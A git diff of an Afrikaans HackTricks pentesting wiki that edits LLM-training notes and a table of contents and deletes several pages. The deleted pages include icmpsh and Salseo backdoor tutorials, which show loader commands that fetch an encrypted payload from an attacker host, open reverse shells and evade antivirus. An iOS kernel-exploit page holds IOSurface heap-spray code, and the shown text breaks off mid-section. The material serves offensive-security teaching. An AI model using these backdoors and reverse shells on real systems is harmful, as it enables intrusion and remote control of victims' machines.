> Die doel van hierdie derde fase is baie eenvoudig: **Ken elkeen van die vorige tokens in die woordeskat 'n vektor van die verlangde dimensies toe om die model op te lei.** Elke woord in die woordeskat sal 'n punt in 'n ruimte van X dimensies wees.\
|
||||
> Let daarop dat die posisie van elke woord in die ruimte aanvanklik net "ewekansig" geinitialiseer word en dat hierdie posisies opleibare parameters is (sal verbeter word tydens die opleiding).
|
||||
>
|
||||
> Boonop, tydens die token inbedding **word 'n ander laag van inbedings geskep** wat (in hierdie geval) die **absolute posisie van die woord in die opleidingssin** verteenwoordig. Op hierdie manier sal 'n woord in verskillende posisies in die sin 'n ander voorstelling (betekenis) hê.
|
||||
> Boonop, tydens die token inbedding **word 'n ander laag van inbeddings geskep** wat (in hierdie geval) die **absolute posisie van die woord in die opleidingssin** verteenwoordig. Op hierdie manier sal 'n woord in verskillende posisies in die sin 'n ander voorstelling (betekenis) hê.
|
||||
|
||||
{{#ref}}
|
||||
3.-token-embeddings.md
|
||||
@ -44,7 +46,7 @@ Jy moet begin deur hierdie pos te lees vir 'n paar basiese konsepte wat jy moet
|
||||
|
||||
> [!TIP]
|
||||
> Die doel van hierdie vierde fase is baie eenvoudig: **Pas 'n paar aandag meganismes toe**. Hierdie gaan baie **herhaalde lae** wees wat die **verhouding van 'n woord in die woordeskat met sy bure in die huidige sin wat gebruik word om die LLM op te lei, vasvang**.\
|
||||
> 'n Baie lae word hiervoor gebruik, so 'n baie opleibare parameters gaan hierdie inligting vasvang.
|
||||
> 'n Groot aantal lae word hiervoor gebruik, so 'n groot aantal opleibare parameters gaan hierdie inligting vasvang.
|
||||
|
||||
{{#ref}}
|
||||
4.-attention-mechanisms.md
|
||||
@ -64,7 +66,7 @@ Jy moet begin deur hierdie pos te lees vir 'n paar basiese konsepte wat jy moet
|
||||
## 6. Vooropleiding & Laai modelle
|
||||
|
||||
> [!TIP]
|
||||
> Die doel van hierdie sesde fase is baie eenvoudig: **Oefen die model van nuuts af**. Hiervoor sal die vorige LLM argitektuur gebruik word met 'n paar lusse wat oor die datastelle gaan met behulp van die gedefinieerde verliesfunksies en optimizer om al die parameters van die model op te lei.
|
||||
> Die doel van hierdie sesde fase is baie eenvoudig: **Oplei die model van nuuts af**. Hiervoor sal die vorige LLM argitektuur gebruik word met 'n paar lusse wat oor die datastelle gaan met behulp van die gedefinieerde verliesfunksies en optimizer om al die parameters van die model op te lei.
|
||||
|
||||
{{#ref}}
|
||||
6.-pre-training-and-loading-models.md
|
||||
@ -91,8 +93,10 @@ Jy moet begin deur hierdie pos te lees vir 'n paar basiese konsepte wat jy moet
|
||||
## 7.2. Fyn-Afstemming om instruksies te volg
|
||||
|
||||
> [!TIP]
|
||||
> Die doel van hierdie afdeling is om te wys hoe om **'n reeds vooropgeleide model fyn af te stel om instruksies te volg** eerder as net om teks te genereer, byvoorbeeld, om op take te reageer soos 'n chat bot.
|
||||
> Die doel van hierdie afdeling is om te wys hoe om **'n reeds vooropgeleide model fyn af te stel om instruksies te volg** eerder as net teks te genereer, byvoorbeeld, om op take as 'n chat bot te reageer.
|
||||
|
||||
{{#ref}}
|
||||
7.2.-fine-tuning-to-follow-instructions.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -149,6 +149,7 @@
|
||||
- [macOS AppleFS](macos-hardening/macos-security-and-privilege-escalation/macos-applefs.md)
|
||||
- [macOS Bypassing Firewalls](macos-hardening/macos-security-and-privilege-escalation/macos-bypassing-firewalls.md)
|
||||
- [macOS Defensive Apps](macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md)
|
||||
- [Macos Dyld Hijacking And Dyld Insert Libraries](macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md)
|
||||
- [macOS GCD - Grand Central Dispatch](macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md)
|
||||
- [macOS Kernel & System Extensions](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md)
|
||||
- [macOS IOKit](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-iokit.md)
|
||||
@ -217,8 +218,10 @@
|
||||
|
||||
# 🪟 Windows Hardening
|
||||
|
||||
- [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
- [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md)
|
||||
- [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md)
|
||||
- [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md)
|
||||
- [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md)
|
||||
- [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md)
|
||||
- [ACLs - DACLs/SACLs/ACEs](windows-hardening/windows-local-privilege-escalation/acls-dacls-sacls-aces.md)
|
||||
@ -248,6 +251,7 @@
|
||||
- [AD CS Domain Escalation](windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md)
|
||||
- [AD CS Domain Persistence](windows-hardening/active-directory-methodology/ad-certificates/domain-persistence.md)
|
||||
- [AD CS Certificate Theft](windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md)
|
||||
- [Ad Certificates](windows-hardening/active-directory-methodology/ad-certificates.md)
|
||||
- [AD information in printers](windows-hardening/active-directory-methodology/ad-information-in-printers.md)
|
||||
- [AD DNS Records](windows-hardening/active-directory-methodology/ad-dns-records.md)
|
||||
- [ASREPRoast](windows-hardening/active-directory-methodology/asreproast.md)
|
||||
@ -330,7 +334,7 @@
|
||||
- [Manual DeObfuscation](mobile-pentesting/android-app-pentesting/manual-deobfuscation.md)
|
||||
- [React Native Application](mobile-pentesting/android-app-pentesting/react-native-application.md)
|
||||
- [Reversing Native Libraries](mobile-pentesting/android-app-pentesting/reversing-native-libraries.md)
|
||||
- [Smali - Decompiling/\[Modifying\]/Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
|
||||
- [Smali - Decompiling, Modifying, Compiling](mobile-pentesting/android-app-pentesting/smali-changes.md)
|
||||
- [Spoofing your location in Play Store](mobile-pentesting/android-app-pentesting/spoofing-your-location-in-play-store.md)
|
||||
- [Tapjacking](mobile-pentesting/android-app-pentesting/tapjacking.md)
|
||||
- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
|
||||
@ -388,6 +392,7 @@
|
||||
- [Buckets](network-services-pentesting/pentesting-web/buckets/README.md)
|
||||
- [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
- [CGI](network-services-pentesting/pentesting-web/cgi.md)
|
||||
- [Django](network-services-pentesting/pentesting-web/django.md)
|
||||
- [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
|
||||
- [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
|
||||
- [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
|
||||
@ -398,7 +403,6 @@
|
||||
- [Flask](network-services-pentesting/pentesting-web/flask.md)
|
||||
- [Git](network-services-pentesting/pentesting-web/git.md)
|
||||
- [Golang](network-services-pentesting/pentesting-web/golang.md)
|
||||
- [GWT - Google Web Toolkit](network-services-pentesting/pentesting-web/gwt-google-web-toolkit.md)
|
||||
- [Grafana](network-services-pentesting/pentesting-web/grafana.md)
|
||||
- [GraphQL](network-services-pentesting/pentesting-web/graphql.md)
|
||||
- [H2 - Java SQL database](network-services-pentesting/pentesting-web/h2-java-sql-database.md)
|
||||
@ -430,7 +434,7 @@
|
||||
- [disable_functions bypass - via mem](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-via-mem.md)
|
||||
- [disable_functions bypass - mod_cgi](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-mod_cgi.md)
|
||||
- [disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec](network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-4-greater-than-4.2.0-php-5-pcntl_exec.md)
|
||||
- [PHP - RCE abusing object creation: new $\_GET\["a"\]($\_GET\["b"\])](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
|
||||
- [Php Rce Abusing Object Creation New Usd Get A Usd Get B](network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md)
|
||||
- [PHP SSRF](network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md)
|
||||
- [PrestaShop](network-services-pentesting/pentesting-web/prestashop.md)
|
||||
- [Python](network-services-pentesting/pentesting-web/python.md)
|
||||
@ -438,6 +442,7 @@
|
||||
- [Ruby Tricks](network-services-pentesting/pentesting-web/ruby-tricks.md)
|
||||
- [Special HTTP headers$$external:network-services-pentesting/pentesting-web/special-http-headers.md$$]()
|
||||
- [Source code Review / SAST Tools](network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
- [Special Http Headers](network-services-pentesting/pentesting-web/special-http-headers.md)
|
||||
- [Spring Actuators](network-services-pentesting/pentesting-web/spring-actuators.md)
|
||||
- [Symfony](network-services-pentesting/pentesting-web/symphony.md)
|
||||
- [Tomcat](network-services-pentesting/pentesting-web/tomcat/README.md)
|
||||
@ -582,6 +587,7 @@
|
||||
- [Exploiting \_\_VIEWSTATE without knowing the secrets](pentesting-web/deserialization/exploiting-__viewstate-parameter.md)
|
||||
- [Python Yaml Deserialization](pentesting-web/deserialization/python-yaml-deserialization.md)
|
||||
- [JNDI - Java Naming and Directory Interface & Log4Shell](pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
|
||||
- [Ruby Json Pollution](pentesting-web/deserialization/ruby-_json-pollution.md)
|
||||
- [Ruby Class Pollution](pentesting-web/deserialization/ruby-class-pollution.md)
|
||||
- [Domain/Subdomain takeover](pentesting-web/domain-subdomain-takeover.md)
|
||||
- [Email Injections](pentesting-web/email-injections.md)
|
||||
@ -609,6 +615,7 @@
|
||||
- [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
|
||||
- [IDOR](pentesting-web/idor.md)
|
||||
- [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
|
||||
- [JSON, XML and YAML Hacking](pentesting-web/json-xml-yaml-hacking.md)
|
||||
- [LDAP Injection](pentesting-web/ldap-injection.md)
|
||||
- [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
- [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
|
||||
@ -641,6 +648,7 @@
|
||||
- [MySQL File priv to SSRF/RCE](pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md)
|
||||
- [Oracle injection](pentesting-web/sql-injection/oracle-injection.md)
|
||||
- [Cypher Injection (neo4j)](pentesting-web/sql-injection/cypher-injection-neo4j.md)
|
||||
- [Sqlmap](pentesting-web/sql-injection/sqlmap.md)
|
||||
- [PostgreSQL injection](pentesting-web/sql-injection/postgresql-injection/README.md)
|
||||
- [dblink/lo_import data exfiltration](pentesting-web/sql-injection/postgresql-injection/dblink-lo_import-data-exfiltration.md)
|
||||
- [PL/pgSQL Password Bruteforce](pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce.md)
|
||||
@ -664,6 +672,7 @@
|
||||
- [WebSocket Attacks](pentesting-web/websocket-attacks.md)
|
||||
- [Web Tool - WFuzz](pentesting-web/web-tool-wfuzz.md)
|
||||
- [XPATH injection](pentesting-web/xpath-injection.md)
|
||||
- [XS Search](pentesting-web/xs-search.md)
|
||||
- [XSLT Server Side Injection (Extensible Stylesheet Language Transformations)](pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [XXE - XEE - XML External Entity](pentesting-web/xxe-xee-xml-external-entity.md)
|
||||
- [XSS (Cross Site Scripting)](pentesting-web/xss-cross-site-scripting/README.md)
|
||||
@ -845,13 +854,14 @@
|
||||
|
||||
# ✍️ TODO
|
||||
|
||||
- [Other Big References](todo/references.md)
|
||||
- [Interesting Http](todo/interesting-http.md)
|
||||
- [Rust Basics](todo/rust-basics.md)
|
||||
- [More Tools](todo/more-tools.md)
|
||||
- [MISC](todo/misc.md)
|
||||
- [Pentesting DNS](todo/pentesting-dns.md)
|
||||
- [Hardware Hacking](todo/hardware-hacking/README.md)
|
||||
- [Fault Injection Attacks](todo/hardware-hacking/fault_injection_attacks.md)
|
||||
- [I2C](todo/hardware-hacking/i2c.md)
|
||||
- [Side Channel Analysis](todo/hardware-hacking/side_channel_analysis.md)
|
||||
- [UART](todo/hardware-hacking/uart.md)
|
||||
- [Radio](todo/hardware-hacking/radio.md)
|
||||
- [JTAG](todo/hardware-hacking/jtag.md)
|
||||
@ -878,8 +888,6 @@
|
||||
- [Other Web Tricks](todo/other-web-tricks.md)
|
||||
- [Interesting HTTP$$external:todo/interesting-http.md$$]()
|
||||
- [Android Forensics](todo/android-forensics.md)
|
||||
- [TR-069](todo/tr-069.md)
|
||||
- [6881/udp - Pentesting BitTorrent](todo/6881-udp-pentesting-bittorrent.md)
|
||||
- [Online Platforms with API](todo/online-platforms-with-api.md)
|
||||
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
@ -887,3 +895,11 @@
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
|
||||
|
||||
- [Readme](blockchain/blockchain-and-crypto-currencies/README.md)
|
||||
- [Readme](macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md)
|
||||
- [Readme](network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md)
|
||||
- [Readme](pentesting-web/web-vulnerabilities-methodology/README.md)
|
||||
- [Readme](reversing/cryptographic-algorithms/README.md)
|
||||
- [Readme](reversing/reversing-tools/README.md)
|
||||
- [Readme](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/README.md)
|
@ -1,27 +0,0 @@
|
||||
# Android Forensics
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
## Gelslote Toestel
|
||||
|
||||
Om data van 'n Android-toestel te begin onttrek, moet dit ontgrendel wees. As dit gesluit is, kan jy:
|
||||
|
||||
- Kontroleer of die toestel USB-debugging geaktiveer het.
|
||||
- Soek na 'n moontlike [smudge attack](https://www.usenix.org/legacy/event/woot10/tech/full_papers/Aviv.pdf)
|
||||
- Probeer met [Brute-force](https://www.cultofmac.com/316532/this-brute-force-device-can-crack-any-iphones-pin-code/)
|
||||
|
||||
## Data Verkryging
|
||||
|
||||
Skep 'n [android rugsteun met adb](mobile-pentesting/android-app-pentesting/adb-commands.md#backup) en onttrek dit met [Android Backup Extractor](https://sourceforge.net/projects/adbextractor/): `java -jar abe.jar unpack file.backup file.tar`
|
||||
|
||||
### As root-toegang of fisiese verbinding met JTAG-koppelvlak
|
||||
|
||||
- `cat /proc/partitions` (soek die pad na die flitsgeheue, gewoonlik is die eerste inskrywing _mmcblk0_ en kom ooreen met die hele flitsgeheue).
|
||||
- `df /data` (Ontdek die blokgrootte van die stelsel).
|
||||
- dd if=/dev/block/mmcblk0 of=/sdcard/blk0.img bs=4096 (voer dit uit met die inligting wat van die blokgrootte versamel is).
|
||||
|
||||
### Geheue
|
||||
|
||||
Gebruik Linux Memory Extractor (LiME) om die RAM-inligting te onttrek. Dit is 'n kernuitbreiding wat via adb gelaai moet word.
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
@ -1,25 +0,0 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Laai die backdoor af van: [https://github.com/inquisb/icmpsh](https://github.com/inquisb/icmpsh)
|
||||
|
||||
# Kliëntkant
|
||||
|
||||
Voer die skrip uit: **run.sh**
|
||||
|
||||
**As jy 'n fout kry, probeer om die lyne te verander:**
|
||||
```bash
|
||||
IPINT=$(ifconfig | grep "eth" | cut -d " " -f 1 | head -1)
|
||||
IP=$(ifconfig "$IPINT" |grep "inet addr:" |cut -d ":" -f 2 |awk '{ print $1 }')
|
||||
```
|
||||
**Vir:**
|
||||
```bash
|
||||
echo Please insert the IP where you want to listen
|
||||
read IP
|
||||
```
|
||||
# **Slachtofferkant**
|
||||
|
||||
Laai **icmpsh.exe** op na die slachtoffer en voer uit:
|
||||
```bash
|
||||
icmpsh.exe -t <Attacker-IP> -d 500 -b 30 -s 128
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1,158 +0,0 @@
|
||||
# Salseo
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Compiling the binaries
|
||||
|
||||
Laai die bronkode van die github af en kompileer **EvilSalsa** en **SalseoLoader**. Jy sal **Visual Studio** geïnstalleer moet hê om die kode te kompileer.
|
||||
|
||||
Kompileer daardie projekte vir die argitektuur van die Windows-boks waar jy dit gaan gebruik (As die Windows x64 ondersteun, kompileer dit vir daardie argitektuur).
|
||||
|
||||
Jy kan **die argitektuur kies** binne Visual Studio in die **linker "Build" Tab** in **"Platform Target".**
|
||||
|
||||
(**As jy nie hierdie opsies kan vind nie, druk op **"Project Tab"** en dan op **"\<Project Name> Properties"**)
|
||||
|
||||
.png>)
|
||||
|
||||
Dan, bou albei projekte (Build -> Build Solution) (Binne die logs sal die pad van die uitvoerbare verskyn):
|
||||
|
||||
 (2) (1) (1) (1).png>)
|
||||
|
||||
## Prepare the Backdoor
|
||||
|
||||
Eerstens, jy sal die **EvilSalsa.dll.** moet kodeer. Om dit te doen, kan jy die python-skrip **encrypterassembly.py** gebruik of jy kan die projek **EncrypterAssembly** kompileer:
|
||||
|
||||
### **Python**
|
||||
```
|
||||
python EncrypterAssembly/encrypterassembly.py <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
### Windows
|
||||
```
|
||||
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
|
||||
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
|
||||
```
|
||||
Ok, nou het jy alles wat jy nodig het om al die Salseo goed te uitvoer: die **gecodeerde EvilDalsa.dll** en die **binarie van SalseoLoader.**
|
||||
|
||||
**Laai die SalseoLoader.exe binarie op die masjien. Hulle behoort nie deur enige AV opgespoor te word nie...**
|
||||
|
||||
## **Voer die backdoor uit**
|
||||
|
||||
### **Kry 'n TCP reverse shell (aflaai van die gecodeerde dll deur HTTP)**
|
||||
|
||||
Onthou om 'n nc as die reverse shell luisteraar en 'n HTTP bediener te begin om die gecodeerde evilsalsa te bedien.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Om 'n UDP omgekeerde skulp te kry (aflaai van kodering dll deur SMB)**
|
||||
|
||||
Onthou om 'n nc as die omgekeerde skulp luisteraar te begin, en 'n SMB-bediener om die gekodeerde evilsalsa te bedien (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Kry 'n ICMP omgekeerde skulp (gecodeerde dll reeds binne die slagoffer)**
|
||||
|
||||
**Hierdie keer het jy 'n spesiale hulpmiddel in die kliënt nodig om die omgekeerde skulp te ontvang. Laai af:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Deaktiveer ICMP Antwoorde:**
|
||||
```
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=1
|
||||
|
||||
#You finish, you can enable it again running:
|
||||
sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
||||
```
|
||||
#### Voer die kliënt uit:
|
||||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
#### Binne die slagoffer, laat ons die salseo ding uitvoer:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## Samevoeging van SalseoLoader as DLL wat die hooffunksie uitvoer
|
||||
|
||||
Open die SalseoLoader-projek met Visual Studio.
|
||||
|
||||
### Voeg voor die hooffunksie by: \[DllExport]
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
### Installeer DllExport vir hierdie projek
|
||||
|
||||
#### **Gereedskap** --> **NuGet Pakketbestuurder** --> **Bestuur NuGet-pakkette vir Oplossing...**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
#### **Soek vir DllExport-pakket (met die Blader-tab), en druk Installeer (en aanvaar die pop-up)**
|
||||
|
||||
 (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
|
||||
|
||||
In jou projekmap het die lêers verskyn: **DllExport.bat** en **DllExport_Configure.bat**
|
||||
|
||||
### **U**ninstalleer DllExport
|
||||
|
||||
Druk **Uninstall** (ja, dit is vreemd, maar glo my, dit is nodig)
|
||||
|
||||
 (1) (1) (2) (1).png>)
|
||||
|
||||
### **Verlaat Visual Studio en voer DllExport_configure uit**
|
||||
|
||||
Verlaat net **Visual Studio**
|
||||
|
||||
Gaan dan na jou **SalseoLoader-gids** en **voer DllExport_Configure.bat** uit
|
||||
|
||||
Kies **x64** (as jy dit binne 'n x64-boks gaan gebruik, dit was my geval), kies **System.Runtime.InteropServices** (binne **Namespace vir DllExport**) en druk **Toepas**
|
||||
|
||||
 (1) (1) (1) (1).png>)
|
||||
|
||||
### **Open die projek weer met Visual Studio**
|
||||
|
||||
**\[DllExport]** moet nie langer as 'n fout gemerk wees nie
|
||||
|
||||
 (1).png>)
|
||||
|
||||
### Bou die oplossing
|
||||
|
||||
Kies **Uitsettipe = Klasbiblioteek** (Projek --> SalseoLoader Eienskappe --> Toepassing --> Uitsettipe = Klasbiblioteek)
|
||||
|
||||
 (1).png>)
|
||||
|
||||
Kies **x64** **platform** (Projek --> SalseoLoader Eienskappe --> Bou --> Platform-teiken = x64)
|
||||
|
||||
 (1) (1).png>)
|
||||
|
||||
Om die oplossing te **bou**: Bou --> Bou Oplossing (Binne die Uitset-konsol sal die pad van die nuwe DLL verskyn)
|
||||
|
||||
### Toets die gegenereerde Dll
|
||||
|
||||
Kopieer en plak die Dll waar jy dit wil toets.
|
||||
|
||||
Voer uit:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
As daar geen fout verskyn nie, het jy waarskynlik 'n funksionele DLL!!
|
||||
|
||||
## Kry 'n shell met die DLL
|
||||
|
||||
Moet nie vergeet om 'n **HTTP** **bediener** te gebruik en 'n **nc** **luisteraar** in te stel nie
|
||||
|
||||
### Powershell
|
||||
```
|
||||
$env:pass="password"
|
||||
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
|
||||
$env:lhost="10.2.0.5"
|
||||
$env:lport="1337"
|
||||
$env:shell="reversetcp"
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
### CMD
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
set lhost=10.2.0.5
|
||||
set lport=1337
|
||||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
{{#include ../banners/hacktricks-training.md}}
|
@ -1 +1,3 @@
|
||||
# Arbitrêre Skrywe 2 Exec
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,7 @@
|
||||
# iOS Exploiting
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
## Fisiese gebruik-na-vry
|
||||
|
||||
Dit is 'n opsomming van die pos van [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) verder kan meer inligting oor die ontginning met hierdie tegniek gevind word in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
|
||||
@ -8,7 +10,7 @@ Dit is 'n opsomming van die pos van [https://alfiecg.uk/2024/09/24/Kernel-exploi
|
||||
|
||||
Die **virtuele geheue-adresruimte** vir gebruikersprosesse op iOS strek van **0x0 tot 0x8000000000**. Hierdie adresse is egter nie direk aan fisiese geheue gekoppel nie. In plaas daarvan gebruik die **kernel** **bladsy tabelle** om virtuele adresse in werklike **fisiese adresse** te vertaal.
|
||||
|
||||
#### Vlakke van Bladsytabelle in iOS
|
||||
#### Vlakke van Bladsy Tabel in iOS
|
||||
|
||||
Bladsy tabelle is hiërargies georganiseer in drie vlakke:
|
||||
|
||||
@ -16,8 +18,8 @@ Bladsytabelle is hiërargies georganiseer in drie vlakke:
|
||||
* Elke inskrywing hier verteenwoordig 'n groot reeks van virtuele geheue.
|
||||
* Dit dek **0x1000000000 bytes** (of **256 GB**) van virtuele geheue.
|
||||
2. **L2 Bladsy Tabel (Vlak 2)**:
|
||||
* 'n Inskrywing hier verteenwoordig 'n kleiner streek van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB).
|
||||
* 'n L1 inskrywing kan na 'n L2 tabel verwys as dit nie die hele streek self kan kaart nie.
|
||||
* 'n Inskrywing hier verteenwoordig 'n kleiner gebied van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB).
|
||||
* 'n L1 inskrywing kan na 'n L2 tabel verwys as dit nie die hele gebied self kan kaart nie.
|
||||
3. **L3 Bladsy Tabel (Vlak 3)**:
|
||||
* Dit is die fynste vlak, waar elke inskrywing 'n enkele **4 KB** geheue bladsy kaart.
|
||||
* 'n L2 inskrywing kan na 'n L3 tabel verwys as meer fyn beheer nodig is.
|
||||
@ -31,14 +33,14 @@ Bladsytabelle is hiërargies georganiseer in drie vlakke:
|
||||
|
||||
#### Voorbeeld: Kaarting van 'n Virtuele Adres
|
||||
|
||||
Kom ons sê jy probeer om die virtuele adres **0x1000000000** te benader:
|
||||
Kom ons sê jy probeer om toegang te verkry tot die virtuele adres **0x1000000000**:
|
||||
|
||||
1. **L1 Tabel**:
|
||||
* Die kernel kyk na die L1 bladsy tabel inskrywing wat ooreenstem met hierdie virtuele adres. As dit 'n **wys na 'n L2 bladsy tabel** het, gaan dit na daardie L2 tabel.
|
||||
2. **L2 Tabel**:
|
||||
* Die kernel kyk na die L2 bladsy tabel vir 'n meer gedetailleerde kaarting. As hierdie inskrywing na 'n **L3 bladsy tabel** verwys, gaan dit daarheen.
|
||||
3. **L3 Tabel**:
|
||||
* Die kernel soek die finale L3 inskrywing, wat na die **fisiese adres** van die werklike geheuebladsy verwys.
|
||||
* Die kernel soek die finale L3 inskrywing, wat na die **fisiese adres** van die werklike geheue bladsy wys.
|
||||
|
||||
#### Voorbeeld van Adres Kaarting
|
||||
|
||||
@ -56,7 +58,7 @@ Alternatiewelik, as die L2 inskrywing na 'n L3 tabel verwys:
|
||||
'n **Fisiese gebruik-na-vry** (UAF) gebeur wanneer:
|
||||
|
||||
1. 'n Proses **toewys** 'n bietjie geheue as **leesbaar en skryfbaar**.
|
||||
2. Die **bladsytabelle** word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te kaart wat die proses kan benader.
|
||||
2. Die **bladsy tabelle** word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te kaart wat die proses kan toegang.
|
||||
3. Die proses **deallocate** (vry) die geheue.
|
||||
4. Maar, as gevolg van 'n **fout**, vergeet die kernel om die kaarting uit die bladsy tabelle te verwyder, alhoewel dit die ooreenstemmende fisiese geheue as vry merk.
|
||||
5. Die kernel kan dan **hertoewys hierdie "vrygemaakte" fisiese geheue** vir ander doeleindes, soos **kernel data**.
|
||||
@ -77,13 +79,13 @@ Meer inligting hieroor in [https://github.com/felix-pb/kfd/tree/main/writeups](h
|
||||
|
||||
### Stap-vir-Stap Heap Spray Proses
|
||||
|
||||
1. **Spuit IOSurface-objekte**: Die aanvaller skep baie IOSurface-objekte met 'n spesiale identifiseerder ("magiese waarde").
|
||||
1. **Spray IOSurface-Objekte**: Die aanvaller skep baie IOSurface-objekte met 'n spesiale identifiseerder ("magiese waarde").
|
||||
2. **Skandeer Vrygemaakte Bladsye**: Hulle kyk of enige van die objekke op 'n vrygemaakte bladsy toegeken is.
|
||||
3. **Lees/Skryf Kernel Geheue**: Deur velde in die IOSurface-objek te manipuleer, verkry hulle die vermoë om **arbitraire lees en skryf** in kernel geheue uit te voer. Dit laat hulle toe:
|
||||
* Gebruik een veld om **enige 32-bit waarde** in kernel geheue te lees.
|
||||
* Gebruik 'n ander veld om **64-bit waardes** te skryf, wat 'n stabiele **kernel lees/skryf primitief** bereik.
|
||||
|
||||
Genereer IOSurface-objekte met die magiese waarde IOSURFACE_MAGIC om later te soek:
|
||||
Genereer IOSurface-objekte met die magiese waarde IOSURFACE\_MAGIC om later vir te soek:
|
||||
```c
|
||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||
if (*nClients >= 0x4000) return;
|
||||
@ -146,17 +148,17 @@ Na die verkryging van beheer oor 'n IOSurface objek in kernel geheue (gemap na '
|
||||
|
||||
Die IOSurface objek het twee belangrike velde:
|
||||
|
||||
1. **Gebruik Tel Punter**: Laat 'n **32-bis lees** toe.
|
||||
